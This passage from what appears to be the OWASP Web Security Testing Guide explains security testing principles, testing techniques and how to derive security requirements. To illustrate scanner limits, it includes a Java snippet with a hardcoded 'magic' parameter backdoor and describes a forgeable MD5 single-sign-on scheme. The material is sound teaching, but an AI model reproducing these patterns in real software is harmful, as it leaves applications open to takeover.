[summarized](https://www.it-cisq.org/the-cost-of-poor-quality-software-in-the-us-a-2018-report/The-Cost-of-Poor-Quality-Software-in-the-US-2018-Report.pdf):\n\n> …the cost of poor quality software in the US in 2018 is approximately $2.84 trillion…\n\nThe framework described in this document encourages people to measure security throughout the entire development process. They can then relate the cost of insecure software to the impact it has on the business, and consequently develop appropriate business processes, and assign resources to manage the risk. Remember that measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.\n\n### What is Testing?\n\nMany things need to be tested during the development life cycle of a web application, but what does testing actually mean? The Oxford Dictionary of English defines “test” as:\n\n> **test** (noun): a procedure intended to establish the quality, performance, or reliability of something, especially before it is taken into widespread use.\n\nFor the purposes of this document, testing is a process of comparing the state of a system or application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. As a result of this, many outsiders regard security testing as a black art. The aim of this document is to change that perception, and to make it easier for people without in-depth security knowledge to make a difference in testing.\n\n### Why Perform Testing?\n\nThis document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that need to be undertaken to build and operate a modern web application testing program. The guide gives a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test and maintain software, or to prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review, will be covered in the remaining parts of this document.\n\n### When to Test?\n\nMost people today don’t test software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.\n\n*Figure 2-1: Generic SDLC Model*\n\nCompanies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.\n\n### What to Test?\n\nIt can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that “create” software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.\n\nAn effective testing program should have components that test the following:\n\n- **People** – to ensure that there is adequate education and awareness;\n- **Process** – to ensure that there are adequate policies and standards and that people know how to follow these policies;\n- **Technology** – to ensure that the process has been effective in its implementation.\n\nUnless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment.\n\nDenis Verdon, Head of Information Security at [Fidelity National Financial](https://www.fnf.com), presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York:\n\n> If cars were built like applications … safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft.\n\n### How To Reference WSTG Scenarios\n\nEach scenario has an identifier in the format `WSTG--`, where: ‘category’ is a 4 character upper case string that identifies the type of test or weakness, and ‘number’ is a zero-padded numeric value from 01 to 99. For example:`WSTG-INFO-02` is the second Information Gathering test.\n\nThe identifiers may change between versions therefore it is preferable that other documents, reports, or tools use the format: `WSTG---`, where: ‘version’ is the version tag with punctuation removed. For example: `WSTG-v42-INFO-02` would be understood to mean specifically the second Information Gathering test from version 4.2.\n\nIf identifiers are used without including the `` element then they should be assumed to refer to the latest Web Security Testing Guide content. Obviously as the guide grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\n#### Linking\n\nLinking to Web Security Testing Guide scenarios should be done using versioned links not `stable` or `latest` which will definitely change with time. However, it is the project team’s intention that versioned links not change. For example: `https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server.html`. Note: the `v42` element refers to version 4.2.\n\n### Feedback and Comments\n\nAs with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.\n\n## Principles of Testing\n\nThere are some common misconceptions when developing a testing methodology to find security bugs in software. This chapter covers some of the basic principles that professionals should take into account when performing security tests on software.\n\n### There is No Silver Bullet\n\nWhile it is tempting to think that a security scanner or application firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessment or providing adequate test coverage. Remember that security is a process and not a product.\n\n### Think Strategically, Not Tactically\n\nSecurity professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability, also referred to as window of exposure, shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. For more information about windows of exposure, see [Schneier on Security](https://www.schneier.com/crypto-gram/archives/2000/0915.html).\n\nVulnerability studies such as [Symantec’s Internet Security Threat Report](https://www.symantec.com/security-center/threat-report) have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year.\n\nThere are several incorrect assumptions in the patch-and-penetrate model. Many users believe that patches interfere with normal operations or might break existing applications. It is also incorrect to assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because they think patching may interfere with how the software works, or because they lack knowledge about the existence of the patch.\n\n*Figure 2-2: Window of Vulnerability*\n\nIt is essential to build security into the Software Development Life Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.\n\n### The SDLC is King\n\nThe SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.\n\nThere are several secure SDLC frameworks in existence that provide both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC process. Essentially, prescriptive advice shows how the secure SDLC should work, and descriptive advice shows how it is used in the real world. Both have their place. For example, if you don’t know where to start, a prescriptive framework can provide a menu of potential security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has worked well for other organizations. Descriptive secure SDLCs include BSIMM; and the prescriptive secure SDLCs include OWASP’s [Open Software Assurance Maturity Model](https://www.opensamm.org/) (OpenSAMM), and [ISO/IEC 27034](https://www.iso27001security.com/html/27034.html) Parts 1-7, all published (except part 4).\n\n### Test Early and Test Often\n\nWhen a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA teams about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages can help design programs with fewer security bugs, new threats arise constantly and developers must be aware of the threats that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker’s perspective. This allows each organization to consider security issues as part of their existing responsibilities.\n\n### Test Automation\n\nIn modern development methodologies such as (but not limited to): agile, devops/devsecops, or rapid application development (RAD) consideration should be put into integrating security tests in to continuous integration/continuous deployment (CI/CD) workflows in order to maintain baseline security information/analysis and identify “low hanging fruit” type weaknesses. This can be done by leveraging dynamic application security testing (DAST), static application security testing (SAST), and software composition analysis (SCA) or dependency tracking tools during standard automated release workflows or on a regularly scheduled basis.\n\n### Understand the Scope of Security\n\nIt is important to know how much security a given project will require. The assets that are to be protected should be given a classification that states how they are to be handled (e.g., confidential, secret, top secret). Discussions should occur with legal council to ensure that any specific security requirements will be met. In the USA, requirements might come from federal regulations, such as the [Gramm-Leach-Bliley Act](https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act), or from state laws, such as the [California SB-1386](https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386). For organizations based in EU countries, both country-specific regulation and EU Directives may apply. For example, [Directive 96/46/EC4](https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en) and [Regulation (EU) 2016/679 (General Data Protection Regulation)](https://gdpr-info.eu/) make it mandatory to treat personal data in applications with due care, whatever the application.\n\n### Develop the Right Mindset\n\nSuccessfully testing an application for security vulnerabilities requires thinking “outside of the box.” Normal use cases will test the normal behavior of the application when a user is using it in the manner that is expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find any assumptions made by web developers that are not always true, and how those assumptions can be subverted. One reason that automated tools do a poor job of testing for vulnerabilities is that automated tools do not think creatively. Creative thinking must be done on a case-by-case basis, as most web applications are being developed in a unique way (even when using common frameworks).\n\n### Understand the Subject\n\nOne of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, etc. should be recorded in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use cases. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization’s applications and network (e.g., intrusion detection systems).\n\n### Use the Right Tools\n\nWhile we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of Open Source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. However, it is important to understand exactly what these tools can and cannot do so that they are not oversold or used incorrectly.\n\n### The Devil is in the Details\n\nIt is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positives that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.\n\n### Use Source Code When Available\n\nWhile black-box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure an application. It is difficult for dynamic testing to test the entire code base, particularly if many nested conditional statements exist. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black-box engagement.\n\n### Develop Metrics\n\nAn important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization.\n\nGood metrics will show:\n\n- If more education and training are required;\n- If there is a particular security mechanism that is not clearly understood by the development team;\n- If the total number of security related problems being found is decreasing.\n\nConsistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using a standard such as the one provided by the [IEEE](https://ieeexplore.ieee.org/document/237006) is a good starting point.\n\n### Document the Test Results\n\nTo conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they were performed, and details of the test findings. It is wise to agree on an acceptable format for the report that is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance.\n\nThe report should clearly identify to the business owner where material risks exist, and do so in a manner sufficient to get their backing for subsequent mitigation actions. The report should also be clear to the developer in pin-pointing the exact function that is affected by the vulnerability and associated recommendations for resolving issues in a language that the developer will understand. The report should also allow another security tester to reproduce the results. Writing the report should not be overly burdensome on the security tester themselves. Security testers are not generally renowned for their creative writing skills, and agreeing on a complex report can lead to instances where test results are not properly documented. Using a security test report template can save time and ensure that results are documented accurately and consistently, and are in a format that is suitable for the audience.\n\n## Testing Techniques Explained\n\nThis section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, as this information is covered in Chapter 3. This section is included to provide context for the framework presented in the next chapter and to highlight the advantages or disadvantages of some of the techniques that should be considered. In particular, we will cover:\n\n- Manual Inspections & Reviews\n- Threat Modeling\n- Code Review\n- Penetration Testing\n\n## Manual Inspections and Reviews\n\n### Overview\n\nManual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners.\n\nWhile the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, the tester can quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place.\n\nAs with many things in life, when conducting manual inspections and reviews it is recommended that a trust-but-verify model is adopted. Not everything that the tester is shown or told will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement secure applications.\n\nOther activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.\n\n### Advantages\n\n- Requires no supporting technology\n- Can be applied to a variety of situations\n- Flexible\n- Promotes teamwork\n- Early in the SDLC\n\n### Disadvantages\n\n- Can be time-consuming\n- Supporting material not always available\n- Requires significant human thought and skill to be effective\n\n## Threat Modeling\n\n### Overview\n\nThreat modeling has become a popular technique to help system designers think about the security threats that their systems and applications might face. Therefore, threat modeling can be seen as risk assessment for applications. It enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses.\n\nTo develop a threat model, we recommend taking a simple approach that follows the [NIST 800-30](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final) standard for risk assessment. This approach involves:\n\n- Decomposing the application – use a process of manual inspection to understand how the application works, its assets, functionality, and connectivity.\n- Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.\n- Exploring potential vulnerabilities - whether technical, operational, or managerial.\n- Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective by using threat scenarios or attack trees.\n- Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic.\n\nThe output from a threat model itself can vary but is typically a collection of lists and diagrams. Various Open Source projects and commercial products support application threat modeling methodologies that can be used as a reference for testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications.\n\n### Advantages\n\n- Practical attacker view of the system\n- Flexible\n- Early in the SDLC\n\n### Disadvantages\n\n- Good threat models don’t automatically mean good software\n\n## Source Code Review\n\n### Overview\n\nSource code review is the process of manually checking the source code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source.” Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code, somewhere. Unlike testing closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes.\n\nMany unintentional but significant security problems are extremely difficult to discover with other forms of analysis or testing, such as penetration testing. This makes source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black-box testing.\n\nExamples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses, as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web applications. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or where fail-open control procedures may be present. Operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein. [Ken Thompson’s Turing Award speech](https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf) describes one possible manifestation of this issue.\n\n### Advantages\n\n- Completeness and effectiveness\n- Accuracy\n- Fast (for competent reviewers)\n\n### Disadvantages\n\n- Requires highly skilled security aware developers\n- Can miss issues in compiled libraries\n- Cannot detect runtime errors easily\n- The source code actually deployed might differ from the one being analyzed\n\nFor more on code review, see the [OWASP code review project](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project).\n\n## Penetration Testing\n\n### Overview\n\nPenetration testing has been a common technique used to test network security for decades. It is also commonly known as black-box testing or ethical hacking. Penetration testing is essentially the “art” of testing a system or application remotely to find security vulnerabilities, without knowing the inner workings of the target itself. Typically, the penetration test team is able to access an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given one or more valid accounts on the system.\n\nWhile penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work involved is in finding, and then exploiting, known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Some automated penetration testing tools have been developed, but considering the bespoke nature of web applications, their effectiveness alone can be poor.\n\nMany people use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. As Gary McGraw wrote in [Software Penetration Testing](https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf), “In practice, a penetration test can only identify a small representative sample of all possible security risks in a system.” However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the deployed source code.\n\n### Advantages\n\n- Can be fast (and therefore cheap)\n- Requires a relatively lower skill-set than source code review\n- Tests the code that is actually being exposed\n\n### Disadvantages\n\n- Too late in the SDLC\n- Front-impact testing only\n\n## The Need for a Balanced Approach\n\nWith so many techniques and approaches to testing the security of web applications, it can be difficult to understand which techniques to use or when to use them. Experience shows that there is no right or wrong answer to the question of exactly which techniques should be used to build a testing framework. In fact, all techniques should be used to test all the areas that need to be tested.\n\nAlthough it is clear that there is no single technique that can be performed to effectively cover all security testing and ensure that all issues have been addressed, many companies adopt only one approach. The single approach used has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too little too late” in the SDLC.\n\nThe correct approach is a balanced approach that includes several techniques, from manual reviews to technical testing, to CI/CD integrated testing. A balanced approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available, depending on the current SDLC phase.\n\nOf course there are times and circumstances where only one technique is possible. For example, consider a test of a web application that has already been created, but where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, the testing parties should be encouraged to challenge assumptions, such as not having access to source code, and to explore the possibility of more complete testing.\n\nA balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the SLDC. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.\n\n*Figure 2-3: Proportion of Test Effort in SDLC*\n\nThe following figure shows a typical proportional representation overlaid onto testing techniques.\n\n*Figure 2-4: Proportion of Test Effort According to Test Technique*\n\n### A Note about Web Application Scanners\n\nMany organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, some fundamental issues need to be highlighted about why it is believed that automating black-box testing is not (nor will ever be) completely effective. However, highlighting these issues should not discourage the use of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.\n\nIt is helpful to understand the efficacy and limitations of automated vulnerability detection tools. To this end, the [OWASP Benchmark Project](https://owasp.org/www-project-benchmark/) is a test suite designed to evaluate the speed, coverage, and accuracy of automated software vulnerability detection tools and services. Benchmarking can help to test the capabilities of these automated tools, and help to make their usefulness explicit.\n\nThe following examples show why automated black-box testing may not be effective.\n\n### Example 1: Magic Parameters\n\nImagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: `http://www.host/application?magic=value`\n\nTo further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.\n\nThe designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: `http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d`\n\nGiven that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30\\^28 permutations, or trillions of HTTP requests. That is an electron in a digital haystack.\n\nThe code for this exemplar Magic Parameter check may look like the following:\n\n```\npublic void doPost( HttpServletRequest request, HttpServletResponse response) { String magic = \"sf8g7sfjdsurtsdieerwqredsgnfg8d\"; boolean admin = magic.equals( request.getParameter(\"magic\")); if (admin) doAdmin( request, response); else … // normal processing } \n```\n\nBy looking in the code, the vulnerability practically leaps off the page as a potential problem.\n\n### Example 2: Bad Cryptography\n\nCryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In their wisdom, the developer decides that if a user is logged into site A, then they will generate a key using an MD5 hash function that comprises: `Hash { username : date }`\n\nWhen a user is passed to site B, they will send the key on the query string to site B in an HTTP redirect. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be.\n\nAs the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this security issue quickly. A black-box web application scanner would not have uncovered the vulnerability. It would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.\n\n### A Note about Static Source Code Review Tools\n\nMany organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why this approach is not effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design, since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.\n\n## Deriving Security Test Requirements\n\nTo have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations, from positive application requirements (specifying what the application is supposed to do), and from negative application requirements (specifying what the application should not do). It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.\n\n### Testing Objectives\n\nOne of the objectives of security testing is to validate that security controls operate as expected. This is documented via `security requirements` that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [OWASP Top Ten](https://owasp.org/www-project-top-ten/), as well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.\n\n### Security Requirements Documentation\n\nThe first step in the documentation of security requirements is to understand the `business requirements`. A business requirement document can provide initial high-level information on the expected functionality of the application. For example, the main purpose of an application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.\n\nA general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country or state where the application will operate. Some of these compliance guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial applications, compliance with the Federal Financial Institutions Examination Council (FFIEC) [Cybersecurity Assessment Tool & Documentation](https://www.ffiec.gov/cyberassessmenttool.htm) requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security controls and multi-factor authentication.\n\nApplicable industry standards for security must also be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, compliance with the [PCI Security Standards Council](https://www.pcisecuritystandards.org/pci_security/) Data Security Standard (DSS) forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.\n\nAnother section of the checklist needs to enforce general requirements for compliance with the organization’s information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such a requirement can be: “a password complexity of ten alphanumeric characters must be enforced by the authentication controls used by the application.” When security requirements map to compliance rules, a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to manage or address. Since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.\n\n### Security Requirements Validation\n\nFrom the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. Examined further, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personally identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization’s encryption standards. These might require that only certain algorithms and key lengths be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).\n\nFrom the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design; secure code analysis and reviews focus on identifying security issues in source code during development; and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.\n\nSecurity issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black-box test might first involve a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis before the malicious query is executed. Assuming the tester has the source code, they might directly learn from the source code analysis how to construct the SQL attack vector that will successfully exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user). This can expedite the validation of the SQL vulnerability.\n\n### Threats and Countermeasures Taxonomies\n\nA `threat and countermeasure classification`, which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. The [OWASP Testing Guide Checklist](https://github.com/OWASP/wstg/tree/master/checklist) is a helpful resource for guiding testers through specific vulnerabilities and validation tests.\n\nThe focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using [STRIDE](https://en.wikipedia.org/wiki/STRIDE_(security)), an acronym for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.\n\nA threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying a hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding, the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.\n\n### Security Testing and Risk Analysis\n\nSecurity requirements need to take into consideration the severity of the vulnerabilities to support a `risk mitigation strategy`. Assuming that the organization maintains a repository of vulnerabilities found in applications (i.e, a vulnerability knowledge base), the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.\n\nFor example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing, it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk vulnerabilities can be fixed in future releases.\n\nBy considering the threat scenarios of exploiting common vulnerabilities, it is possible to identify potential risks that the application security control needs to be security tested for. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization’s vulnerability knowledge base can be used to derive security-risk-driven test cases to validate the most likely attack scenarios. For example, if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.\n\n### Deriving Functional and Non-Functional Test Requirements\n\n#### Functional Security Requirements\n\nFrom the perspective of functional security requirements, the applicable standards, policies, and regulations drive both the need for a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests. Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or “passwords need to be a minimum of ten alphanumeric characters”. The validation of positive requirements consists of asserting the expected functionality and can be tested by re-creating the testing conditions and running the test according to predefined inputs. The results are then shown as a fail or pass condition.\n\nIn order to validate security requirements with security tests, security requirements need to be function-driven. They need to highlight the expected functionality (the what) and imply the implementation (the how). Examples of high-level security design requirements for authentication can be:\n\n- Protect user credentials or shared secrets in transit and in storage.\n- Mask any confidential data in display (e.g., passwords, accounts).\n- Lock the user account after a certain number of failed log in attempts.\n- Do not show specific validation errors to the user as a result of a failed log on.\n- Only allow passwords that are alphanumeric, include special characters, and are a minimum ten characters in length, to limit the attack surface.\n- Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user’s answer to the challenge question, to prevent brute forcing of a password via password change.\n- The password reset form should validate the user’s username and the user’s registered email before 